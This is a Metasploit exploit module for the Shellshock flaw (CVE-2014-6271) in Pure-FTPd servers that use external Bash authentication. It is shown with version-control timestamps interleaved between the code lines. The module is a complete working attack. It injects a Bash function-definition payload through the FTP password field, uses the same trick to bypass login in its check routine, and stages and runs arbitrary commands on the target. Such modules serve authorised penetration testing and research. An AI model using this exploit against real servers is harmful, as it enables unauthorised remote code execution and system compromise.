2014-10-01 18:57:40 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-10-01 18:57:40 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-10-01 21:19:31 +00:00
|
|
|
Rank = ExcellentRanking
|
2014-10-01 18:57:40 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Exploit::CmdStager
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-12-01 16:40:46 +00:00
|
|
|
'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)',
|
2014-10-01 18:57:40 +00:00
|
|
|
'Description' => %q(
|
2015-12-01 16:40:46 +00:00
|
|
|
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
|
|
|
|
handles external environment variables. This module targets the Pure-FTPd FTP
|
|
|
|
server when it has been compiled with the --with-extauth flag and an external
|
|
|
|
Bash script is used for authentication. If the server is not set up this way,
|
|
|
|
the exploit will fail, even if the version of Bash in use is vulnerable.
|
2014-10-01 18:57:40 +00:00
|
|
|
),
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Stephane Chazelas', # Vulnerability discovery
|
|
|
|
'Frank Denis', # Discovery of Pure-FTPd attack vector
|
|
|
|
'Spencer McIntyre' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2017-06-28 22:50:20 +00:00
|
|
|
[ 'AKA', 'Shellshock' ],
|
2017-06-28 19:48:48 +00:00
|
|
|
[ 'CVE', '2014-6271' ],
|
|
|
|
[ 'CWE', '94' ],
|
|
|
|
[ 'OSVDB', '112004' ],
|
|
|
|
[ 'EDB', '34765' ],
|
|
|
|
[ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ],
|
|
|
|
[ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ]
|
2014-10-01 18:57:40 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 2048
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Linux x86',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
2014-10-01 19:15:07 +00:00
|
|
|
'CmdStagerFlavor' => :printf
|
2014-10-01 18:57:40 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Linux x86_64',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
2016-10-27 21:16:05 +00:00
|
|
|
'Arch' => ARCH_X64,
|
2014-10-01 19:15:07 +00:00
|
|
|
'CmdStagerFlavor' => :printf
|
2014-10-01 18:57:40 +00:00
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
2014-10-01 21:19:31 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'PrependFork' => true
|
|
|
|
},
|
2014-10-01 18:57:40 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Sep 24 2014'))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-10-01 18:57:40 +00:00
|
|
|
deregister_options('FTPUSER', 'FTPPASS')
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
# this check method tries to use the vulnerability to bypass the login
|
|
|
|
username = rand_text_alphanumeric(rand(20) + 1)
|
|
|
|
random_id = (rand(100) + 1)
|
|
|
|
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
|
|
|
|
if send_command(username, command) =~ /^2\d\d ok./i
|
|
|
|
disconnect
|
2014-10-16 12:32:20 +00:00
|
|
|
return CheckCode::Safe if banner !~ /pure-ftpd/i
|
2014-10-01 18:57:40 +00:00
|
|
|
|
|
|
|
command = "echo auth_ok:0; echo end"
|
|
|
|
if send_command(username, command) =~ /^5\d\d login authentication failed/i
|
2014-10-16 12:32:20 +00:00
|
|
|
disconnect
|
2014-10-01 18:57:40 +00:00
|
|
|
return CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
end
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def execute_command(cmd, _opts)
|
|
|
|
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
|
|
|
|
username = rand_text_alphanumeric(rand(20) + 1)
|
|
|
|
send_command(username, cmd)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
execute_cmdstager(linemax: 500)
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
def send_command(username, cmd)
|
|
|
|
cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
|
|
|
|
connect
|
|
|
|
send_user(username)
|
|
|
|
password_result = send_pass(cmd)
|
|
|
|
disconnect
|
|
|
|
password_result
|
|
|
|
end
|
|
|
|
end
|